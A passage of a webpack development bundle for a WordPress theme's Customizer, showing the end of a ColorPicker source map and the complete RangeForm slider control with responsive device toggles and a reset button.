29sb3IuY2xvbmUoKS5hKCAxICkuZ2V0TWF4Q29udHJhc3RDb2xvcigpLnRvQ1NTKCksXHJcblx0XHRcdFx0cmVhZGFibGVDb250cmFzdGluZ0NvbG9yRnJvbVdoaXRlOiBbXHJcblx0XHRcdFx0XHRjb2xvci5jbG9uZSgpLmEoIDEgKS5nZXRSZWFkYWJsZUNvbnRyYXN0aW5nQ29sb3IoIHdoaXRlLCA3ICkudG9DU1MoKSxcclxuXHRcdFx0XHRcdGNvbG9yLmNsb25lKCkuYSggMSApLmdldFJlYWRhYmxlQ29udHJhc3RpbmdDb2xvciggd2hpdGUsIDQuNSApLnRvQ1NTKClcclxuXHRcdFx0XHRdLFxyXG5cdFx0XHRcdHJlYWRhYmxlQ29udHJhc3RpbmdDb2xvckZyb21CbGFjazogW1xyXG5cdFx0XHRcdFx0Y29sb3IuY2xvbmUoKS5hKCAxICkuZ2V0UmVhZGFibGVDb250cmFzdGluZ0NvbG9yKCBibGFjaywgNyApLnRvQ1NTKCksXHJcblx0XHRcdFx0XHRjb2xvci5jbG9uZSgpLmEoIDEgKS5nZXRSZWFkYWJsZUNvbnRyYXN0aW5nQ29sb3IoIGJsYWNrLCA0LjUgKS50b0NTUygpXHJcblx0XHRcdFx0XVxyXG5cdFx0XHR9O1xyXG5cdFx0XHRmaW5hbFZhbHVlLmExMXkuaXNEYXJrID0gZmluYWxWYWx1ZS5hMTF5LmRpc3RhbmNlRnJvbVdoaXRlID4gZmluYWxWYWx1ZS5hMTF5LmRpc3RhbmNlRnJvbUJsYWNrO1xyXG5cclxuXHRcdFx0cmV0dXJuIGZpbmFsVmFsdWU7XHJcblx0XHR9XHJcblxyXG5cdFx0cmV0dXJuIHZhbHVlO1xyXG5cdH07XHJcblxyXG5cdC8qKlxyXG5cdCAqIFNhdmUgdGhlIHZhbHVlIHdoZW4gY2hhbmdpbmcgdGhlIGNvbG9ycGlja2VyLlxyXG5cdCAqXHJcblx0ICogQHBhcmFtIHtPYmplY3R9IGNvbG9yIC0gVGhlIGNvbG9yIG9iamVjdCBmcm9tIHJlYWN0LWNvbG9yLlxyXG5cdCAqIEByZXR1cm4ge3ZvaWR9XHJcblx0ICovXHJcblx0Y29uc3QgaGFuZGxlQ2hhbmdlQ29tcGxldGUgPSAoIGNvbG9yICkgPT4ge1xyXG5cdFx0d3AuY3VzdG9taXplLmNvbnRyb2woIHByb3BzLmN1c3RvbWl6ZXJTZXR0aW5nLmlkICkuc2V0dGluZy5zZXQoIGZvcm1hdFZhbHVlKCBnZXRDU1NDb2xvciggY29sb3IgKSApICk7XHJcblx0fTtcclxuXHJcblx0LyoqXHJcblx0ICogUmVzZXQgdmFsdWUgdG8gaXRzIGRlZmF1bHQuXHJcblx0ICpcclxuXHQgKiBAcGFyYW0ge09iamVjdH0gZSAtIFRoZSBjbGljayBldmVudC5cclxuXHQgKiBAcmV0dXJuIHt2b2lkfVxyXG5cdCAqL1xyXG5cdGNvbnN0IHJlc2V0VmFsdWUgPSAoIGUgKSA9PiB7XHJcblx0XHRlLnByZXZlbnREZWZhdWx0KCk7XHJcblx0XHRsZXQgZGVmYXVsdFZhbHVlID0gKCBwcm9wcy5jaG9pY2VzLmRlZmF1bHQgKSA/IHByb3BzLmNob2ljZXMuZGVmYXVsdCA6ICcnO1xyXG5cdFx0aWYgKCAnc3RyaW5nJyA9PT0gdHlwZW9mIGRlZmF1bHRWYWx1ZSApIHtcclxuXHRcdFx0ZGVmYXVsdFZhbHVlID0gZm9ybWF0VmFsdWUoIGRlZmF1bHRWYWx1ZSApO1xyXG5cdFx0fVxyXG5cdFx0d3AuY3VzdG9taXplLmNvbnRyb2woIHByb3BzLmN1c3RvbWl6ZXJTZXR0aW5nLmlkICkuc2V0dGluZy5zZXQoIGRlZmF1bHRWYWx1ZSApO1xyXG5cdH1cclxuXHJcblx0cmV0dXJuIChcclxuXHRcdDxkaXYgY2xhc3NOYW1lPVwiY3VzdG9taXplLWNvbnRyb2wtaW5uZXJcIj5cclxuXHRcdFx0PGRpdiBjbGFzc05hbWU9XCJ6ZWVuLW9wdGlvbi0tcm93XCI+XHJcblx0XHRcdFx0PGxhYmVsIGNsYXNzTmFtZT1cImN1c3RvbWl6ZS1jb250cm9sLXRpdGxlXCIgaHRtbEZvcj17IHByb3BzLmNvbnRyb2wuaWQgKyAnLWlucHV0JyB9IGRhbmdlcm91c2x5U2V0SW5uZXJIVE1MPXsge19faHRtbDogcHJvcHMubGFiZWwgfX0+PC9sYWJlbD5cclxuXHRcdFx0XHQ8ZGl2IGNsYXNzTmFtZT1cImN1c3RvbWl6ZS1jb250cm9sLWNvbnRlbnRcIj5cclxuXHRcdFx0XHRcdDxEcm9wZG93blxyXG5cdFx0XHRcdFx0XHRjbGFzc05hbWU9XCJ6ZWVuLWNvbG9yLXBpY2tlci1kcm9wIHRpcGktaW5saW5lLWZsZXhcIlxyXG5cdFx0XHRcdFx0XHRjb250ZW50Q2xhc3NOYW1lPVwiemVlbi1jb2xvci1waWNrZXItYm94XCJcclxuXHRcdFx0XHRcdFx0cG9zaXRpb249XCJib3R0b20gcmlnaHRcIlxyXG5cdFx0XHRcdFx0XHRwb3BvdmVyUHJvcHM9e3sgbm9BcnJvdzogZmFsc2UgfX1cclxuXHRcdFx0XHRcdFx0cmVuZGVyVG9nZ2xlPXsgKCB7IGlzT3Blbiwgb25Ub2dnbGUgfSApID0+IChcclxuXHRcdFx0XHRcdFx0XHQ8YnV0dG9uIGNsYXNzTmFtZT1cInplZW4tY29sb3ItaW5kaWNhdG9yXCIgb25DbGljaz17IChlKSA9PiB7IGUucHJldmVudERlZmF1bHQoKTsgb25Ub2dnbGUoKSB9IH0gYXJpYS1leHBhbmRlZD17IGlzT3BlbiB9IHN0eWxlPXt7YmFja2dyb3VuZENvbG9yOiAnYXJyYXknID09PSBwcm9wcy5jaG9pY2VzLnNhdmVfYXMgPyBwcm9wcy52YWx1ZS5jc3MgOiBwcm9wcy52YWx1ZSAgfX0+PC9idXR0b24+XHJcblx0XHRcdFx0XHRcdCkgfVxyXG5cdFx0XHRcdFx0XHRyZW5kZXJDb250ZW50PXsgKCkgPT4gKFxyXG5cdFx0XHRcdFx0XHRcdDxDb2xvclBpY2tlclxyXG5cdFx0XHRcdFx0XHRcdFx0d2lkdGg9XCIzMDBcIlxyXG5cdFx0XHRcdFx0XHRcdFx0eyAuLi5wcm9wcy5jaG9pY2VzIH1cclxuXHRcdFx0XHRcdFx0XHRcdGNvbG9yPXsgJ2FycmF5JyA9PT0gcHJvcHMuY2hvaWNlcy5zYXZlX2FzID8gcHJvcHMudmFsdWUuY3NzIDogcHJvcHMudmFsdWUgfVxyXG5cdFx0XHRcdFx0XHRcdFx0b25DaGFuZ2VDb21wbGV0ZT17IGhhbmRsZUNoYW5nZUNvbXBsZXRlIH1cclxuXHRcdFx0XHRcdFx0XHQvPlxyXG5cdFx0XHRcdFx0XHQpIH1cclxuXHRcdFx0XHRcdC8+XHJcblx0XHRcdFx0XHQ8c3BhbiBjbGFzc05hbWU9eyd6ZWVuLXJlc2V0LXdyYXAnICsgKCBwcm9wcy5jaG9pY2VzLmRlZmF1bHQgJiYgcHJvcHMuY2hvaWNlcy5kZWZhdWx0ID09PSBwcm9wcy52YWx1ZSA/ICcgemVlbi0tY2xlYW4nIDogJycgKSB9PlxyXG5cdFx0XHRcdFx0XHQ8c3BhbiBvbkNsaWNrPXsgcmVzZXRWYWx1ZSB9IGNsYXNzTmFtZT1cImRhc2hpY29ucyBkYXNoaWNvbnMtaW1hZ2Utcm90YXRlIHplZW4tcmVzZXRcIiB0aXRsZT1cIlJlc2V0IHRvIGRlZmF1bHRcIj48L3NwYW4+XHJcblx0XHRcdFx0XHQ8L3NwYW4+XHJcblx0XHRcdFx0PC9kaXY+XHJcblx0XHRcdDwvZGl2PlxyXG5cdFx0XHR7IHByb3BzLmRlc2NyaXB0aW9uICYmIDxzcGFuIGNsYXNzTmFtZT1cImRlc2NyaXB0aW9uIGN1c3RvbWl6ZS1jb250cm9sLWRlc2NyaXB0aW9uXCIgZGFuZ2Vyb3VzbHlTZXRJbm5lckhUTUw9e3sgX19odG1sOiBwcm9wcy5kZXNjcmlwdGlvbiB9fT48L3NwYW4+IH1cclxuXHRcdFx0PGRpdiBjbGFzc05hbWU9XCJjdXN0b21pemUtY29udHJvbC1ub3RpZmljYXRpb25zLWNvbnRhaW5lclwiIHJlZj17IHByb3BzLnNldE5vdGlmaWNhdGlvbkNvbnRhaW5lciB9PjwvZGl2PlxyXG5cdFx0PC9kaXY+XHJcblx0KTtcclxufTtcclxuZXhwb3J0IGRlZmF1bHQgQ29sb3JQaWNrZXJGb3JtO1xyXG4iXSwic291cmNlUm9vdCI6IiJ9\n//# sourceURL=webpack-internal:///./_develop/js/customizer/controls/ColorPickerForm.js\n");
    /***/
  },

  /***/
  "./_develop/js/customizer/controls/RangeForm.js":
  /*!******************************************************!*\
    !*** ./_develop/js/customizer/controls/RangeForm.js ***!
    \******************************************************/

  /*! exports provided: default */

  /***/
  function _developJsCustomizerControlsRangeFormJs(module, __webpack_exports__, __webpack_require__) {
    "use strict";

    eval("__webpack_require__.r(__webpack_exports__);\n/* harmony import */ var _wordpress_element__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @wordpress/element */ \"@wordpress/element\");\n/* harmony import */ var _wordpress_element__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_wordpress_element__WEBPACK_IMPORTED_MODULE_0__);\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\nfunction _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _nonIterableRest(); }\n\nfunction _nonIterableRest() { throw new TypeError(\"Invalid attempt to destructure non-iterable instance\"); }\n\nfunction _iterableToArrayLimit(arr, i) { var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i[\"return\"] != null) _i[\"return\"](); } finally { if (_d) throw _e; } } return _arr; }\n\nfunction _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; }\n\n/* globals _, wp, React */\nvar RangeControl = wp.components.RangeControl;\nvar __ = wp.i18n.__;\n\n\nvar RangeForm = function RangeForm(props) {\n  var _useState = Object(_wordpress_element__WEBPACK_IMPORTED_MODULE_0__[\"useState\"])(typeof wp.customize !== 'undefined' && wp.customize.previewedDevice ? wp.customize.previewedDevice() : 'desktop'),\n      _useState2 = _slicedToArray(_useState, 2),\n      previewDevice = _useState2[0],\n      setPreviewDevice = _useState2[1];\n\n  var _useState3 = Object(_wordpress_element__WEBPACK_IMPORTED_MODULE_0__[\"useState\"])(_typeof(props.value) === 'object' ? {\n    desktop: typeof props.value.desktop !== 'undefined' ? parseFloat(props.value.desktop) : '',\n    tablet: typeof props.value.tablet !== 'undefined' ? parseFloat(props.value.tablet) : '',\n    mobile: typeof props.value.mobile !== 'undefined' ? parseFloat(props.value.mobile) : ''\n  } : parseFloat(props.value)),\n      _useState4 = _slicedToArray(_useState3, 2),\n      rangeValue = _useState4[0],\n      setRangeValue = _useState4[1];\n\n  var onPreviewDeviceChange = function onPreviewDeviceChange(value) {\n    setPreviewDevice(value);\n    typeof wp.customize !== 'undefined' && wp.customize.previewedDevice.set(value);\n  };\n\n  var previewDeviceWatch = function previewDeviceWatch() {\n    var mode = typeof wp.customize !== 'undefined' && wp.customize.previewedDevice ? wp.customize.previewedDevice() : 'desktop';\n    setPreviewDevice(mode);\n  };\n\n  Object(_wordpress_element__WEBPACK_IMPORTED_MODULE_0__[\"useEffect\"])(function () {\n    if (_typeof(props.choices.default) !== 'object' || typeof wp.customize === 'undefined') {\n      return;\n    }\n\n    handleChangeComplete(props.value);\n    wp.customize.previewedDevice.bind(previewDeviceWatch);\n    return function () {\n      wp.customize.previewedDevice.unbind(previewDeviceWatch);\n    };\n  }, []);\n\n  var handleChangeComplete = function handleChangeComplete(val) {\n    var realVal;\n    val = _typeof(val) === 'object' ? parseFloat(val.desktop) : parseFloat(val);\n\n    if (_typeof(props.choices.default) === 'object') {\n      if (_typeof(rangeValue) === 'object') {\n        realVal = rangeValue;\n      } else {\n        realVal = {\n          desktop: typeof props.value.desktop !== 'undefined' ? parseFloat(props.value.desktop) : typeof props.choices.default.desktop !== 'undefined' ? props.choices.default.desktop : '',\n          tablet: typeof props.value.tablet !== 'undefined' ? parseFloat(props.value.tablet) : typeof props.choices.default.tablet !== 'undefined' ? props.choices.default.tablet : '',\n          mobile: typeof props.value.mobile !== 'undefined' ? parseFloat(props.value.mobile) : typeof props.choices.default.mobile !== 'undefined' ? props.choices.default.mobile : ''\n        };\n      }\n\n      realVal[previewDevice] = val;\n    } else {\n      realVal = val;\n    }\n\n    setRangeValue(realVal);\n    wp.customize.control(props.customizerSetting.id).setting.set(JSON.parse(JSON.stringify(realVal)));\n  };\n  /**\r\n   * Reset value to its default.\r\n   *\r\n   * @param {Object} e - The click event.\r\n   * @return {void}\r\n   */\n\n\n  var resetValue = function resetValue(e) {\n    e.preventDefault();\n    var reset;\n\n    if (_typeof(props.choices.default) === 'object') {\n      reset = {\n        desktop: typeof props.choices.default.desktop !== 'undefined' ? props.choices.default.desktop : '',\n        tablet: typeof props.choices.default.tablet !== 'undefined' ? props.choices.default.tablet : '',\n        mobile: typeof props.choices.default.mobile !== 'undefined' ? props.choices.default.mobile : ''\n      };\n    } else {\n      reset = props.choices.default;\n    }\n\n    setRangeValue(reset);\n    wp.customize.control(props.customizerSetting.id).setting.set(JSON.parse(JSON.stringify(reset)));\n  };\n\n  return (\n    /*#__PURE__*/\n    React.createElement(\"div\", {\n      className: 'customize-control-inner' + (typeof props.choices.type !== 'undefined' ? ' customize-control-with-type' : ' customize-control-no-type') + (_typeof(props.choices.default) === 'object' && rangeValue[previewDevice] === '' ? ' customize-control--disabled' : '')\n    },\n    /*#__PURE__*/\n    React.createElement(\"div\", {\n      className: \"zeen-option--row zeen-option--row-wrap\"\n    },\n    /*#__PURE__*/\n    React.createElement(\"div\", {\n      className: 'customize-control-title-wrap' + (_typeof(props.choices.default) === 'object' ? ' customize-control-title-wrap-with-responsive' : '')\n    },\n    /*#__PURE__*/\n    React.createElement(\"div\", {\n      className: \"zeen-vertical-c\"\n    }, props.choices.suboption === true ?\n    /*#__PURE__*/\n    React.createElement(\"svg\", {\n      className: \"zeen__svg--arrow-r\",\n      width: \"10\",\n      height: \"10\",\n      xmlns: \"http://www.w3.org/2000/svg\"\n    },\n    /*#__PURE__*/\n    React.createElement(\"path\", {\n      d: \"M9.847 7.056L7.065 9.833a.505.505 0 01-.39.167.505.505 0 01-.388-.167.537.537 0 010-.777l1.835-1.834h-5.34A2.753 2.753 0 010 4.444V.556C0 .222.223 0 .556 0c.334 0 .557.222.557.556v3.888c0 .945.723 1.667 1.669 1.667h5.34L6.287 4.278a.537.537 0 010-.778.538.538 0 01.778 0l2.782 2.778c.056.055.111.11.111.166.056.112.056.278 0 .445 0 .055-.055.111-.111.167z\",\n      fill: \"#FFF\",\n      fillRule: \"nonzero\"\n    })) : '',\n    /*#__PURE__*/\n    React.createElement(\"label\", {\n      className: \"customize-control-title\",\n      htmlFor: props.control.id + '-input'\n    }, props.label), _typeof(props.choices.default) === 'object' ?\n    /*#__PURE__*/\n    React.createElement(\"div\", {\n      className: \"responsive__tools zeen-vertical-c\"\n    }, (typeof props.choices.responsive_off === 'undefined' || props.choices.responsive_off !== 'd') &&\n    /*#__PURE__*/\n    React.createElement(\"div\", {\n      onClick: function onClick() {\n        return onPreviewDeviceChange('desktop');\n      },\n      className: 'responsive__tool zeen-vertical-c responsive__tool-d' + (previewDevice === 'desktop' ? ' active' : '')\n    },\n    /*#__PURE__*/\n    React.createElement(\"svg\", {\n      width: \"15\",\n      height: \"15\",\n      viewBox: \"0 0 15 15\",\n      xmlns: \"http://www.w3.org/2000/svg\"\n    },\n    /*#__PURE__*/\n    React.createElement(\"g\", {\n      fill: \"none\",\n      fillRule: \"evenodd\"\n    },\n    /*#__PURE__*/\n    React.createElement(\"rect\", {\n      stroke: \"#FFF\",\n      strokeWidth: \"2\",\n      x: \"1\",\n      y: \"1\",\n      width: \"13\",\n      height: \"10\",\n      rx: \"1\"\n    }),\n    /*#__PURE__*/\n    React.createElement(\"rect\", {\n      fill: \"#FFF\",\n      x: \"3\",\n      y: \"13\",\n      width: \"9\",\n      height: \"2\",\n      rx: \"1\"\n    })))), (typeof props.choices.responsive_off === 'undefined' || props.choices.responsive_off !== 't') &&\n    /*#__PURE__*/\n    React.createElement(\"div\", {\n      onClick: function onClick() {\n        return onPreviewDeviceChange('tablet');\n      },\n      className: 'responsive__tool zeen-vertical-c responsive__tool-t' + (previewDevice === 'tablet' ? ' active' : '')\n    },\n    /*#__PURE__*/\n    React.createElement(\"svg\", {\n      width: \"11\",\n      height: \"15\",\n      viewBox: \"0 0 11 15\",\n      xmlns: \"http://www.w3.org/2000/svg\"\n    },\n    /*#__PURE__*/\n    React.createElement(\"g\", {\n      transform: \"translate(-2)\",\n      fill: \"none\",\n      fillRule: \"evenodd\"\n    },\n    /*#__PURE__*/\n    React.createElement(\"rect\", {\n      stroke: \"#FFF\",\n      strokeWidth: \"2\",\n      x: \"3\",\n      y: \"1\",\n      width: \"9\",\n      height: \"13\",\n      rx: \"1\"\n    }),\n    /*#__PURE__*/\n    React.createElement(\"rect\", {\n      fill: \"#FFF\",\n      x: \"6\",\n      y: \"11\",\n      width: \"3\",\n      height: \"1\",\n      rx: \".5\"\n    })))), (typeof props.choices.responsive_off === 'undefined' || props.choices.responsive_off !== 'm') &&\n    /*#__PURE__*/\n    React.createElement(\"div\", {\n      onClick: function onClick() {\n        return onPreviewDeviceChange('mobile');\n      },\n      className: 'responsive__tool zeen-vertical-c responsive__tool-m' + (previewDevice === 'mobile' ? ' active' : '')\n    },\n    /*#__PURE__*/\n    React.createElement(\"svg\", {\n      width: \"9\",\n      height: \"15\",\n      viewBox: \"0 0 9 15\",\n      xmlns: \"http://www.w3.org/2000/svg\"\n    },\n    /*#__PURE__*/\n    React.createElement(\"g\", {\n      transform: \"translate(-3)\",\n      fill: \"none\",\n      fillRule: \"evenodd\"\n    },\n    /*#__PURE__*/\n    React.createElement(\"rect\", {\n      stroke: \"#FFF\",\n      strokeWidth: \"2\",\n      x: \"4\",\n      y: \"1\",\n      width: \"7\",\n      height: \"13\",\n      rx: \"1\"\n    }),\n    /*#__PURE__*/\n    React.createElement(\"rect\", {\n      fill: \"#FFF\",\n      x: \"6\",\n      y: \"11\",\n      width: \"3\",\n      height: \"1\",\n      rx: \".5\"\n    }))))) : ''), props.description &&\n    /*#__PURE__*/\n    React.createElement(\"span\", {\n      className: \"description customize-control-description\",\n      dangerouslySetInnerHTML: {\n        __html: props.description\n      }\n    })),\n    /*#__PURE__*/\n    React.createElement(\"div\", {\n      className: \"customize-control-content zeen-vertical-c\"\n    },\n    /*#__PURE__*/\n    React.createElement(\"div\", {\n      className: \"range-control-wrap\"\n    },\n    /*#__PURE__*/\n    React.createElement(RangeControl, {\n      value: _typeof(props.value) === 'object' ? rangeValue[previewDevice] : rangeValue,\n      min: props.choices.min ? props.choices.min : '',\n      max: props.choices.max ? props.choices.max : '',\n      step: props.choices.step ? props.choices.step : 1,\n      initialPosition: _typeof(props.choices.default) === 'object' ? props.choices.default.desktop : props.choices.default,\n      resetFallbackValue: _typeof(props.choices.default) === 'object' ? props.choices.default.desktop : props.choices.default,\n      onChange: handleChangeComplete,\n      railColor: \"#404040\",\n      showTooltip: false,\n      disabled: _typeof(props.choices.default) === 'object' && rangeValue[previewDevice] === ''\n    }), props.choices.type ? props.choices.types ?\n    /*#__PURE__*/\n    React.createElement(\"div\", {\n      className: \"range-control-type\"\n    }, props.choices.type) :\n    /*#__PURE__*/\n    React.createElement(\"div\", {\n      className: \"range-control-type\"\n    }, props.choices.type) : ''),\n    /*#__PURE__*/\n    React.createElement(\"span\", {\n      className: 'zeen-reset-wrap' + (_typeof(props.choices.default) !== 'object' && props.choices.default && props.choices.default === rangeValue || _typeof(props.choices.default) === 'object' && props.choices.default.desktop && props.choices.default.desktop === rangeValue.desktop && props.choices.default.tablet && props.choices.default.tablet === rangeValue.tablet && props.choices.default.mobile && props.choices.default.mobile === rangeValue.mobile ? ' zeen--clean' : '')\n    },\n    /*#__PURE__*/\n    React.createElement(\"span\", {\n      onClick: resetValue,\n      className: \"dashicons dashicons-image-rotate zeen-reset\",\n      title: \"Reset to default\"\n    })))))\n  );\n};\n\n/* harmony default export */ __webpack_exports__[\"default\"] = (RangeForm);\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIndlYnBhY2s6Ly8vLi9fZGV2ZWxvcC9qcy9jdXN0b21pemVyL2NvbnRyb2xzL1JhbmdlRm9ybS5qcz85N2FjIl0sIm5hbWVzIjpbIlJhbmdlQ29udHJvbCIsIndwIiwiY29tcG9uZW50cyIsIl9fIiwiaTE4biIsIlJhbmdlRm9ybSIsInByb3BzIiwidXNlU3RhdGUiLCJjdXN0b21pemUiLCJwcmV2aWV3ZWREZXZpY2UiLCJwcmV2aWV3RGV2aWNlIiwic2V0UHJldmlld0RldmljZSIsInZhbHVlIiwiZGVza3RvcCIsInBhcnNlRmxvYXQiLCJ0YWJsZXQiLCJtb2JpbGUiLCJyYW5nZVZhbHVlIiwic2V0UmFuZ2VWYWx1ZSIsIm9uUHJldmlld0RldmljZUNoYW5nZSIsInNldCIsInByZXZpZXdEZXZpY2VXYXRjaCIsIm1vZGUiLCJ1c2VFZmZlY3QiLCJjaG9pY2VzIiwiZGVmYXVsdCIsImhhbmRsZUNoYW5nZUNvbXBsZXRlIiwiYmluZCIsInVuYmluZCIsInZhbCIsInJlYWxWYWwiLCJjb250cm9sIiwiY3VzdG9taXplclNldHRpbmciLCJpZCIsInNldHRpbmciLCJKU09OIiwicGFyc2UiLCJzdHJpbmdpZnkiLCJyZXNldFZhbHVlIiwiZSIsInByZXZlbnREZWZhdWx0IiwicmVzZXQiLCJ0eXBlIiwic3Vib3B0aW9uIiwibGFiZWwiLCJyZXNwb25zaXZlX29mZiIsImRlc2NyaXB0aW9uIiwiX19odG1sIiwibWluIiwibWF4Iiwic3RlcCIsInR5cGVzIl0sIm1hcHBpbmdzIjoiOzs7Ozs7Ozs7Ozs7O0FBQUE7SUFFQ0EsWSxHQUNHQyxFQUFFLENBQUNDLFUsQ0FETkYsWTtJQUVPRyxFLEdBQU9GLEVBQUUsQ0FBQ0csSSxDQUFWRCxFO0FBQ1I7O0FBS0EsSUFBTUUsU0FBUyxHQUFHLFNBQVpBLFNBQVksQ0FBRUMsS0FBRixFQUFhO0FBQUEsa0JBRVlDLG1FQUFRLENBQ2pELE9BQVFOLEVBQUUsQ0FBQ08sU0FBWCxLQUEwQixXQUExQixJQUF5Q1AsRUFBRSxDQUFD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